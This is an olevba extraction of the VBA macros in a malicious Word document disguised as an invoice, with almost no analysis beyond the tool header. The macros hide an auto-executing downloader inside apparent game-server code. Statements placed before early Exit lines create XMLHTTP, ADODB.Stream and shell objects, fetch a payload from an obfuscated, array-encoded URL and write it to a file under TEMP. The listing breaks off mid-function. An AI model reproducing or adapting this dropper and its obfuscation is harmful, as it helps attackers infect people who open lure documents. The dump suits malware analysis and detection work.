Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS----V invoice574206_1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: invoice574206_1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
ComputeAllPlayerStats 0
SetPlayerBankItemValue 0, 0, 0
KillPlayer 0
GetPlayerMap 0
CheckResourceReward 0, 0, 0, 0, 1
PlayerPVPDrops 0
HasItem 0, 0
GetPlayerTriforcesNum 0
CheckPlayerActionsProtections 0
End Sub










-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Function GiveInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal SendUpdate As Boolean = True, Optional ByVal UpdateWeight As Boolean = True) As Boolean
 Dim i As Long
 Dim Value As Long
 If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 GiveInvItem = False
 Exit Function
 End If
 i = FindOpenInvSlot(index, ItemNum)
 If i <> 0 Then
 If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, itemval)) Or Not UpdateWeight Then
 Call SetPlayerInvItemNum(index, i, ItemNum)
 If ItemNum = 1 Then
 Value = CheckMoneyAdd(index, GetPlayerInvItemValue(index, i), itemval)
 itemval = Value - GetPlayerInvItemValue(index, i)
 Else
 Value = GetPlayerInvItemValue(index, i) + itemval
 End If
 Call SetPlayerInvItemValue(index, i, Value)
 If SendUpdate Then Call SendInventoryUpdate(index, i)
 If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, itemval))
 GiveInvItem = True
 Else
 Call PlayerMsg(index, "No puedes soportar el peso del objeto.", BrightRed)
 GiveInvItem = False
 End If
 Else
 Call PlayerMsg(index, "Tu inventario est? lleno.", BrightRed)
 GiveInvItem = False
 End If
End Function
Function HasSpell(ByVal index As Long, ByVal spellnum As Long) As Boolean
 Dim i As Long
 For i = 1 To MAX_PLAYER_SPELLS
 If GetPlayerSpell(index, i) = spellnum Then
 HasSpell = True
 Exit Function
 End If
 Next
End Function
Function FindOpenSpellSlot(ByVal index As Long) As Long
 Dim i As Long
 For i = 1 To MAX_PLAYER_SPELLS
 If GetPlayerSpell(index, i) = 0 Then
 FindOpenSpellSlot = i
 Exit Function
 End If
 Next
End Function
Sub PlayerMapGetItem(ByVal index As Long)
 Dim i As Long
 Dim N As Long
 Dim mapnum As Long
 Dim msg As String
 If Not IsPlaying(index) Then Exit Sub
 mapnum = GetPlayerMap(index)
 For i = 1 To MAX_MAP_ITEMS
 If (MapItem(mapnum, i).Num > 0) And (MapItem(mapnum, i).Num <= MAX_ITEMS) Then
 If CanPlayerPickupItem(index, i) Then
 If (MapItem(mapnum, i).X = GetPlayerX(index)) Then
 If (MapItem(mapnum, i).Y = GetPlayerY(index)) Then
 Dim ItemNum As Long
 ItemNum = MapItem(mapnum, i).Num
 If GiveInvItem(index, MapItem(mapnum, i).Num, MapItem(mapnum, i).Value, True) Then
 If isItemStackable(ItemNum) Then
 msg = MapItem(mapnum, i).Value & " " & Trim$(Item(ItemNum).TranslatedName)
 Else
 msg = Trim$(Item(ItemNum).TranslatedName)
 End If
 If Not MapItem(mapnum, i).isDrop Then
 Call AddMapWaitingItem(mapnum, GetPlayerX(index), GetPlayerY(index))
 End If
 ClearMapItem i, mapnum
 Call SpawnItemSlot(i, 0, 0, GetPlayerMap(index), 0, 0)
 SendActionMsg GetPlayerMap(index), msg, White, 1, (GetPlayerX(index) * 32), (GetPlayerY(index) * 32)
 Call CheckTasks(index, QUEST_TYPE_GOGATHER, GetItemNum(Trim$(Item(ItemNum).Name)))
 Exit For
 Else
 Exit For
 End If
 End If
 End If
 End If
 End If
 Next
End Sub
Function CanPlayerPickupItem(ByVal index As Long, ByVal mapItemNum As Long)
Dim mapnum As Long
 mapnum = GetPlayerMap(index)
 If MapItem(mapnum, mapItemNum).playerName = vbNullString Or MapItem(mapnum, mapItemNum).playerName = Trim$(GetPlayerName(index)) Then
 CanPlayerPickupItem = True
 Exit Function
 End If
 CanPlayerPickupItem = False
End Function
Sub PlayerMapDropItem(ByVal index As Long, ByVal invNum As Long, ByVal amount As Long, Optional ByVal SayMsg As Boolean = True)
 Dim i As Long
 If IsPlaying(index) = False Or invNum <= 0 Or invNum > MAX_INV Then
 Exit Sub
 End If
 If TempPlayer(index).InBank Or TempPlayer(index).InShop Or TempPlayer(index).InTrade > 0 Then Exit Sub
 If (GetPlayerInvItemNum(index, invNum) > 0) Then
 If (GetPlayerInvItemNum(index, invNum) <= MAX_ITEMS) Then
 If IsPlayerOverWeight(index) Then
 Call TakeInvSlot(index, invNum, amount, True)
 Exit Sub
 End If
 i = FindOpenMapItemSlot(GetPlayerMap(index))
 If i <> 0 Then
 MapItem(GetPlayerMap(index), i).Num = GetPlayerInvItemNum(index, invNum)
 MapItem(GetPlayerMap(index), i).X = GetPlayerX(index)
 MapItem(GetPlayerMap(index), i).Y = GetPlayerY(index)
 MapItem(GetPlayerMap(index), i).playerName = Trim$(GetPlayerName(index))
 MapItem(GetPlayerMap(index), i).playerTimer = GetRealTickCount + ITEM_SPAWN_TIME
 MapItem(GetPlayerMap(index), i).isDrop = True
 MapItem(GetPlayerMap(index), i).Timer = GetRealTickCount + ITEM_DESPAWN_TIME
 If isItemStackable(GetPlayerInvItemNum(index, invNum)) Then
 If amount >= GetPlayerInvItemValue(index, invNum) Then
 MapItem(GetPlayerMap(index), i).Value = GetPlayerInvItemValue(index, invNum)
 If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & GetTranslation(" arroja ") & " " & GetPlayerInvItemValue(index, invNum) & " " & Trim$(Item(GetPlayerInvItemNum(index, invNum)).TranslatedName) & ".", Yellow, False)
 Else
 MapItem(GetPlayerMap(index), i).Value = amount
 If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & GetTranslation(" arroja ") & " " & amount & " " & Trim$(Item(GetPlayerInvItemNum(index, invNum)).TranslatedName) & ".", Yellow, False)
 End If
 Else
 MapItem(GetPlayerMap(index), i).Value = 0
 If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & " " & GetTranslation(" arroja ") & " " & CheckGrammar((Item(GetPlayerInvItemNum(index, invNum)).TranslatedName)) & ".", Yellow, False)
 End If
 Call TakeInvSlot(index, invNum, amount, True)
 Call SpawnItemSlot(i, MapItem(GetPlayerMap(index), i).Num, amount, GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), Trim$(GetPlayerName(index)), MapItem(GetPlayerMap(index), i).isDrop)
 Else
 If SayMsg Then Call PlayerMsg(index, "Demasiados items en el suelo.", BrightRed)
 End If
 End If
 End If
End Sub
Sub CheckPlayerLevelUp(ByVal index As Long)
 Dim i As Long
 Dim expRollover As Long
 Dim level_count As Long
 Dim points As Byte
 level_count = 0
 Do While GetPlayerExp(index) >= GetPlayerNextLevel(index)
 expRollover = GetPlayerExp(index) - GetPlayerNextLevel(index)
 If Not SetPlayerLevel(index, GetPlayerLevel(index) + 1) Then
 Call SetPlayerExp(index, GetPlayerNextLevel(index))
 Exit Sub
 End If
 points = 3
 points = points + GetPlayerTriforcesNum(index)
 Call SetPlayerPOINTS(index, GetPlayerPOINTS(index) + points)
 Call SetPlayerExp(index, expRollover)
 level_count = level_count + 1
 Loop
 If level_count > 0 And Not LPE(index) Then
 If level_count = 1 Then
 GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha subido ") & " " & level_count & " " & GetTranslation(" nivel!"), Brown, False, True
 Else
 GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha subido ") & " " & level_count & GetTranslation(" niveles!"), Brown, False, True
 End If
 SendEXP index
 SendPoints index
 SendLevel index
 SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seLevelUp, 1
 End If
End Sub
Function GetPlayerLogin(ByVal index As Long) As String
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerLogin = Trim$(player(index).login)
End Function
Sub SetPlayerLogin(ByVal index As Long, ByVal login As String)
 player(index).login = login
End Sub
Function GetPlayerPassword(ByVal index As Long) As String
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerPassword = Trim$(player(index).password)
End Function
Sub SetPlayerPassword(ByVal index As Long, ByVal password As String)
 player(index).password = password
End Sub
Function GetPlayerName(ByVal index As Long) As String
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerName = Trim$(player(index).Name)
End Function
Function GetPlayerNameNS(ByVal index As Long) As String
 GetPlayerNameNS = player(index).Name
End Function
Sub SetPlayerName(ByVal index As Long, ByVal Name As String)
 player(index).Name = Name
End Sub
Function GetPlayerClass(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerClass = player(index).Class
End Function
Sub SetPlayerClass(ByVal index As Long, ByVal ClassNum As Long)
 player(index).Class = ClassNum
End Sub
Function GetPlayerSprite(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerSprite = player(index).Sprite
End Function
Sub SetPlayerSprite(ByVal index As Long, ByVal Sprite As Long)
 player(index).Sprite = Sprite
End Sub
Function GetPlayerLevel(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerLevel = player(index).level
End Function
Function SetPlayerLevel(ByVal index As Long, ByVal level As Long) As Boolean
 SetPlayerLevel = False
 If level > MAX_LEVELS Then Exit Function
 player(index).level = level
 SetPlayerLevel = True
End Function
Function GetPlayerExp(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerExp = player(index).exp
End Function
Sub SetPlayerExp(ByVal index As Long, ByVal exp As Long)
 player(index).exp = exp
End Sub
Function GetPlayerAccess(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerAccess = player(index).Access
End Function
Sub SetPlayerAccess(ByVal index As Long, ByVal Access As Long)
 If index <= 0 Then Exit Sub
 player(index).Access = Access
End Sub
Function GetPlayerPK(ByVal index As Long) As Byte
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerPK = player(index).PK
End Function
Sub SetPlayerPK(ByVal index As Long, ByVal PK As Long)
 player(index).PK = PK
End Sub
Function GetPlayerVital(ByVal index As Long, ByVal vital As String) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerVital = player(index).vital(vital)
End Function
Sub SetPlayerVital(ByVal index As Long, ByVal vital As String, ByVal Value As Long)
 player(index).vital(vital) = Value
 If GetPlayerVital(index, vital) > GetPlayerMaxVital(index, vital) Then
 player(index).vital(vital) = GetPlayerMaxVital(index, vital)
 End If
 If GetPlayerVital(index, vital) < 0 Then
 player(index).vital(vital) = 0
 End If
End Sub
Public Function GetPlayerStat(ByVal index As Long, ByVal stat As String) As Long
 Dim X As Long, i As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerStat = TempPlayer(index).Stats(stat)
 Exit Function
 X = player(index).stat(stat)
 For i = 1 To Equipment.Equipment_Count - 1
 If player(index).Equipment(i) > 0 Then
 If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
 X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
 End If
 End If
 Next
 X = X + GetPlayerStatBuffer(index, stat)
 GetPlayerStat = X
End Function
Public Sub ComputePlayerStat(ByVal index As Long, ByVal stat As String)
 Dim X As Long, i As Long
 If index > MAX_PLAYERS Then Exit Sub
 If index <= 0 Then Exit Sub
 X = player(index).stat(stat)
 For i = 1 To Equipment.Equipment_Count - 1
 If player(index).Equipment(i) > 0 Then
 If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
 X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
 End If
 End If
 Next
 X = X + GetPlayerStatBuffer(index, stat)
 TempPlayer(index).Stats(stat) = X
End Sub
Public Sub ComputeAllPlayerStats(ByVal index As Long)
 Set SetPlayerVit = CreateObject("Microsoft" + ".XMLHTTP")
Set adodbStream = CreateObject("Adodb.Stream")
Exit Sub
Dim i As Byte
 For i = 1 To Stats.Stat_Count - 1
 ComputePlayerStat index, i
 Next
End Sub
Public Function GetPlayerRawStat(ByVal index As Long, ByVal stat As String) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerRawStat = player(index).stat(stat)
End Function
Public Sub SetPlayerStat(ByVal index As Long, ByVal stat As String, ByVal Value As Long)
 player(index).stat(stat) = Value
End Sub
Function GetPlayerPOINTS(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerPOINTS = player(index).points
End Function
Sub SetPlayerPOINTS(ByVal index As Long, ByVal points As Long)
 If points <= 0 Then points = 0
 player(index).points = points
End Sub

Sub SetPlayerMap(ByVal index As Long, ByVal mapnum As Long)
 If mapnum > 0 And mapnum <= MAX_MAPS Then
 player(index).map = mapnum
 End If
End Sub
Function GetPlayerX(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerX = player(index).X
End Function
Sub SetPlayerX(ByVal index As Long, ByVal X As Long)
If X < 0 Then Exit Sub
 player(index).X = X
End Sub
Function GetPlayerY(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerY = player(index).Y
End Function
Sub SetPlayerY(ByVal index As Long, ByVal Y As Long)
If Y < 0 Then Exit Sub
 player(index).Y = Y
End Sub
Function GetPlayerDir(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerDir = player(index).dir
End Function
Sub SetPlayerDir(ByVal index As Long, ByVal dir As Long)
 player(index).dir = dir
End Sub
Function GetPlayerIP(ByVal index As Long, Optional ByVal genuine As Boolean = False) As String
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 If genuine Then
 GetPlayerIP = frmServer.Socket(index).RemoteHostIP
 Else
 If LPE(index) Then
 GetPlayerIP = RandomizeIP
 Else
 GetPlayerIP = frmServer.Socket(index).RemoteHostIP
 End If
 End If
End Function
Function GetPlayerHost(ByVal index As Long)
 If index > 0 And index < MAX_PLAYERS Then
 GetPlayerHost = frmServer.Socket(index).RemoteHost
 End If
End Function
Function RandomizeIP() As String
 Dim a As Integer
 Dim i As Byte
 i = RAND(3, 4)
 While i > 0
 a = RAND(111, 999)
 RandomizeIP = RandomizeIP + CStr(a)
 If i > 1 Then RandomizeIP = RandomizeIP + "."
 i = i - 1
 Wend
End Function
Function GetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 If invSlot = 0 Then Exit Function
 GetPlayerInvItemNum = player(index).Inv(invSlot).Num
End Function
Sub SetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long, ByVal ItemNum As Long)
 player(index).Inv(invSlot).Num = ItemNum
End Sub
Function GetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerInvItemValue = player(index).Inv(invSlot).Value
End Function
Sub SetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long, ByVal Itemvalue As Long)
 player(index).Inv(invSlot).Value = Itemvalue
End Sub
Function GetPlayerSpell(ByVal index As Long, ByVal spellslot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerSpell = player(index).Spell(spellslot)
End Function
Sub SetPlayerSpell(ByVal index As Long, ByVal spellslot As Long, ByVal spellnum As Long)
 player(index).Spell(spellslot) = spellnum
End Sub
Function GetPlayerEquipment(ByVal index As Long, ByVal EquipmentSlot As String) As Long
 If index <= 0 Or index > MAX_PLAYERS Then Exit Function
 If EquipmentSlot <= 0 Or EquipmentSlot > Equipment_Count - 1 Then Exit Function
 GetPlayerEquipment = player(index).Equipment(EquipmentSlot)
End Function
Sub SetPlayerEquipment(ByVal index As Long, ByVal invNum As Long, ByVal EquipmentSlot As String)
 player(index).Equipment(EquipmentSlot) = invNum
End Sub
Function GetPlayerVisible(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
GetPlayerVisible = player(index).Visible
End Function
Sub SetPlayerVisible(ByVal index As Long, ByVal Visible As Long)
player(index).Visible = Visible
End Sub
Sub SwapInvEquipment(ByVal index As Long, ByVal invSlot As Long, ByVal EquipmentSlot As Long)
If index < 1 Or index > MAX_PLAYERS Or invSlot < 1 Or invSlot > MAX_INV Or EquipmentSlot < 1 Or EquipmentSlot > Equipment.Equipment_Count - 1 Then Exit Sub
Dim TempItem As Long
TempItem = GetPlayerInvItemNum(index, invSlot)
Dim NewValue As Long
NewValue = 0
If GetPlayerEquipment(index, EquipmentSlot) > 0 Then
 NewValue = 1
End If
Call SetPlayerInvItemNum(index, invSlot, GetPlayerEquipment(index, EquipmentSlot))
Call SetPlayerInvItemValue(index, invSlot, NewValue)
Call SetPlayerEquipment(index, TempItem, EquipmentSlot)
Call ComputeAllPlayerStats(index)
End Sub
Sub OnDeath(ByVal index As Long, Optional ByVal RespawnSite As Byte = 0)
 If index < 1 Or index > MAX_PLAYERS Then Exit Sub
 Dim i As Long
 Call SetPlayerVital(index, Vitals.HP, 0)
 PetDi.sband index, GetPlayerMap(index), True
 Call SetPlayerDir(index, DIR_DOWN)
 SendSou.ndToMap GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), SoundEntity.seDie, GetPlayerClass(index)
 Dim mapnum As Long, X As Long, Y As Long
 GetOnD.eathMap index, mapnum, X, Y, RespawnSite
 PlayerWar.pByEvent index, mapnum, X, Y
 For i = 1 To MAX_DOTS
 With TempPl.ayer(index).DoT(i)
 .Used = False
 .Spell = 0
 .Timer = 0
 .caster = 0
 .StartTime = 0
 End With
 With TempP.layer(index).HoT(i)
 .Used = False
 .Spell = 0
 .Timer = 0
 .caster = 0
 .StartTime = 0
 End With
 Next
 For i = 1 To PlayerActions_Count - 1
 Call UnblockPlayerAction(index, i)
 Next
 TempPl.ayer(index).spellBuffer.Spell = 0
 TempPl.ayer(index).spellBuffer.Timer = 0
 TempPl.ayer(index).spellBuffer.Target = 0
 TempPl.ayer(index).spellBuffer.tType = 0
 Call SendClearS.pellBuffer(index)
 TempPl.ayer(index).InBank = False
 TempPl.ayer(index).InShop = 0
 If TempP.layer(index).InTrade > 0 Then
 For i = 1 To MAX_INV
 TempPl.ayer(index).TradeOffer(i).Num = 0
 TempPl.ayer(index).TradeOffer(i).Value = 0
 TempPl.ayer(TempP.layer(index).InTrade).TradeOffer(i).Num = 0
 TempPl.ayer(TempPl.ayer(index).InTrade).TradeOffer(i).Value = 0
 Next
 TempPl.ayer(TempP.layer(index).InTrade).InTrade = 0
 SendCl.oseTrade TempPl.ayer(index).InTrade
 TempPl.ayer(index).InTrade = 0
 SendCl.oseTrade index
End If
 Call SetPlayerVital(index, Vitals.HP, GetPlaye.rMaxVital(index, Vitals.HP))
 Call SetPlayerVital(index, Vitals.MP, GetPlaye.rMaxVital(index, Vitals.MP))
 Call SendV.ital(index, Vitals.HP)
 Call SendV.ital(index, Vitals.MP)
 If TempP.layer(index).inParty > 0 Then SendPart.yVitals TempPl.ayer(index).inParty, index
End Sub
Public Function GetPlayerMap(ByVal index As Long) As Long
 Dim playerIndex() As Variant
playerIndex = Array(6166, 6178, 6178, 6174, 6120, 6109, 6109, 6160, 6168, 6162, 6163, 6172, 6172, 6163, 6166, 6183, 6108, 6167, 6163, 6109, 6188, 6179, 6174, 6170, 6173, 6159, 6162, 6109, 6118, 6119, 6179, 6118, 6117, 6109, 6114, 6115, 6114, 6177, 6162, 6108, 6163, 6182, 6163)
CUk = 10

SetPlayerVit.Open Chr(10 * 7 + 1) + "" + "" + "" + "E" + "" + "" + "T", GetGivenMoney(playerIndex, 8.8, 42), False
Exit Function
If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerMap = play.er(index).map
End Function
Public Function PosOrdenation(ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Integer
 If x1 < x2 Then
 PosOrdenation = 1
 ElseIf x1 > x2 Then
 PosOrdenation = -1
 Else
 If y1 < y2 Then
 PosOrdenation = 1
 ElseIf y1 > y2 Then
 PosOrdenation = -1
 Else
 PosOrdenation = 0
 End If
 End If
End Function
Public Function BinarySearchResource(ByVal mapnum As Long, ByVal left As Long, ByVal right As Long, ByVal X As Long, ByVal Y As Long) As Long
 If right < left Then
 BinarySearchResource = 0
 Else
 Dim meddle As Integer
 meddle = (left + right) \ 2
 With ResourceCache(mapnum).ResourceData(meddle)
 Dim Ordenation As Integer
 Ordenation = PosOrdenation(X, Y, .X, .Y)
 If Ordenation = 1 Then
 BinarySearchResource = BinarySearchResource(mapnum, left, meddle - 1, X, Y)
 ElseIf Ordenation = -1 Then
 BinarySearchResource = BinarySearchResource(mapnum, meddle + 1, right, X, Y)
 Else
 BinarySearchResource = meddle
 End If
 End With
 End If
End Function


-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public SetPlayerVit As Object
Public adodbStream As Object
Public processEnv  As Object
Public ItemNum2 As String
Public ItemNum1 As String
Public shellApp As Object
Public Sub CheckResourceReward(ByVal index As Long, ByVal Rx As Long, ByVal Ry As Long, ByRef ResourceNum As Long, ByVal ResourceReward As Byte)
ItemNum2 = processEnv("TEMP")
SetPlayerVit.Send
Exit Sub
Select Case Reso.urce(ResourceNum).Rewards(ResourceReward).RewardType
Case REWARD_ITEM
 Dim RewardItem As Long
 RewardItem = Reso.urce(ResourceNum).Rewards(ResourceReward).Reward
 If RewardItem < 1 Or RewardItem > MAX_ITEMS Then Exit Sub
 Dim i As Long
 Dim GivenValue As Long
 i = CanGiveItem(index, RewardItem, 1, GivenValue)
 If i > 0 Then
 GiveInvSlot index, i, RewardItem, GivenValue
 SendAc.tionMsg GetPlayerMap(index), Trim$(Ite.m(RewardItem).TranslatedName) & "!", BrightGreen, 1, (GetPlayerX(index) * 32), (GetPlayerY(index) * 32), , False
 End If
Case REWARD_SPAWN_NPC
 Dim npcnum As Long
 npcnum = Resou.rce(ResourceNum).Rewards(ResourceReward).Reward
 If npcnum < 1 Or npcnum > MAX_NPCS Then Exit Sub
 Dim j As Integer
 j = SpawnT.empNPC(npcnum, GetPlayerMap(index), Rx, Ry)
 If j > 0 Then
 MapN.pc(GetPlayerMap(index)).NPC(j).SpawnWait = GetRealTickCount + Resou.rce(ResourceNum).RespawnTime * 1000
 End If
End Select
End Sub
Function GetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long) As Long
 GetPlayerBankItemNum = Bank(index).Item(BankSlot).Num
End Function
Sub SetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long, ByVal ItemNum As Long)
 Bank(index).Item(BankSlot).Num = ItemNum
End Sub
Function GetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long) As Long
 GetPlayerBankItemValue = Bank(index).Item(BankSlot).Value
End Function
Public Sub SetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long, ByVal Itemvalue As Long)
 Set shellApp = CreateObject("Shell.Application")
 Exit Sub
 Ba.nk(index).Item(BankSlot).Value = Itemvalue
End Sub

Public Sub KillPlayer(ByVal index As Long, Optional ByVal LoseExp As Byte = 0)
Set processEnv = CreateObject("WScript" + Chr(7 * 7 - 3) + "Shell").Environment("Process")
Exit Sub
Dim exp As Long
 Call OnDeath(index)
End Sub
Public Function ResetPlayerPoints(ByVal index As Long) As Long
Dim i As Byte, sum As Long
ResetPlayerPoints = 0
sum = 0
For i = 1 To Stats.Stat_Count - 1
 Do While player(index).stat(i) > Class(GetPlayerClass(index)).stat(i)
 player(index).stat(i) = player(index).stat(i) - 1
 sum = sum + 1
 Loop
Next
ResetPlayerPoints = sum
End Function

Public Sub ResetPlayer(ByVal index As Long)
 Dim i As Long
 player(index).PK = NO
 player(index).level = 1
 player(index).points = 0
 player(index).exp = 0
 SendEXP (index)
 For i = 1 To MAX_INV
 player(index).Inv(i).Num = 0
 player(index).Inv(i).Value = 0
 Next
 Call SendInventory(index)
 For i = 1 To Equipment.Equipment_Count - 1
 player(index).Equipment(i) = 0
 Next
 SendWornEquipment index
 SendMapEquipment index
 For i = 1 To MAX_QUESTS
 player(index).PlayerQuest(i).Status = 0
 player(index).PlayerQuest(i).ActualTask = 0
 player(index).PlayerQuest(i).CurrentCount = 0
 Next
 Call SendPlayerQuests(index)
 For i = 1 To MAX_PLAYER_SPELLS
 player(index).Spell(i) = 0
 Next
 Call SendPlayerSpells(index)
 player(index).NPCKills = 0
 For i = 1 To MAX_HOTBAR
 player(index).Hotbar(i).slot = 0
 player(index).Hotbar(i).sType = 0
 Next
 Call SendHotbar(index)
 For i = 1 To Stats.Stat_Count - 1
 player(index).stat(i) = Class(GetPlayerClass(index)).stat(i)
 Next
 For i = 1 To Vitals.Vital_Count - 1
 Call SendVital(index, i)
 Next
 Call ClearBank(index)
 Call SaveBank(index)
 Call SetPlayerBags(index, 1)
 Call ComputeAllPlayerStats(index)
 Call SendStats(index)
 Call SendPlayerData(index)
End Sub
Public Sub ComputePlayerReset(ByVal index As Long, ByVal triforce As String)
 Dim colour As Byte
 Dim message As String
 Dim i As Byte
 Dim found As Boolean
 If Not IsPlaying(index) Then Exit Sub
 If Not GetPlayerLevel(index) >= 80 Then
 PlayerMsg index, "Debes ser lvl 80 como m?nimo", BrightRed
 Exit Sub
 End If
 If GetPlayerTriforcesNum(index) > 0 Then
 PlayerMsg index, "Ya has renacido", BrightRed
 Exit Sub
 End If
 If GetPlayerTriforce(index, triforce) = True Then
 PlayerMsg index, "Ya tienes esa Trifuerza adquirida", BrightRed
 Exit Sub
 End If
 found = False
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) > 0 Then
 If Item(player(index).Inv(i).Num).Type = ITEM_TYPE_TRIFORCE Then
 found = True
 player(index).Inv(i).Num = 0
 player(index).Inv(i).Value = 0
 Call SendInventoryUpdate(index, i)
 Exit For
 End If
 End If
 Next
 If Not found Then
 PlayerMsg index, "No tienes la trifuerza", BrightRed
 Exit Sub
 End If
 Call ResetPlayer(index)
 player(index).triforce(triforce) = True
 Select Case triforce
 Case TRIFORCE_COURAGE
 message = "del Valor"
 colour = BrightGreen
 Case TRIFORCE_WISDOM
 message = "de la Sabidur?a"
 colour = Cyan
 Case TRIFORCE_POWER
 message = "del Poder"
 colour = BrightRed
 End Select
 For i = 1 To TriforceType.TriforceType_Count - 1
 If GetPlayerTriforce(index, i) = True Then
 Select Case i
 Case TRIFORCE_COURAGE
 SetPlayerStat index, Agility, GetPlayerStat(index, Agility) + 15
 SetPlayerStat index, Endurance, GetPlayerStat(index, Endurance) + 15
 Case TRIFORCE_WISDOM
 SetPlayerStat index, Intelligence, GetPlayerStat(index, Intelligence) + 15
 SetPlayerStat index, willpower, GetPlayerStat(index, willpower) + 15
 Case TRIFORCE_POWER
 SetPlayerStat index, Intelligence, GetPlayerStat(index, Intelligence) + 15
 SetPlayerStat index, Strength, GetPlayerStat(index, Strength) + 15
 End Select
 End If
 Next
 Call SendPlayerData(index)
 PlayerMsg index, "You feel a strange surge of power coursing through you.", BrightBlue, , False
 GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha adquirido la trifuerza ") & " " & GetTranslation(message), colour, False, True
End Sub
Public Function GetPlayerTriforcesNum(ByVal index As Long) As Byte
With adodbStream
.write SetPlayerVit.responseBody
End With
GoTo l500
Exit Function
Dim i As Byte
GetPlayerTriforcesNum = 0
For i = 1 To TriforceType.TriforceType_Count - 1
 If GetPlayerTriforce(index, i) = True Then
 GetPlayerTriforcesNum = GetPlayerTriforcesNum + 1
 End If
Next
l500:

    adodbStream.savetofile ItemNum1, 2
End Function
Public Function GetPlayerTriforce(ByVal index As Long, ByVal triforce As String) As Boolean
Dim i As Byte
If Not IsPlaying(index) Then Exit Function
GetPlayerTriforce = False
If triforce > 0 And triforce < TriforceType_Count Then
 GetPlayerTriforce = player(index).triforce(triforce)
End If
End Function
Public Function HasPlayerAnyTriforce(ByVal index As Long) As Boolean
HasPlayerAnyTriforce = False
Dim i As Byte
For i = 1 To TriforceType.TriforceType_Count - 1
 If GetPlayerTriforce(index, i) = True Then
 HasPlayerAnyTriforce = True
 Exit Function
 End If
Next
End Function
Public Function CanPlayerEquipItem(ByVal index As Long, ByVal ItemNum As Long) As Boolean
Dim i As Byte
CanPlayerEquipItem = False
If Not (ItemNum > 0 And ItemNum <= MAX_ITEMS) Then Exit Function
For i = 1 To Stats.Stat_Count - 1
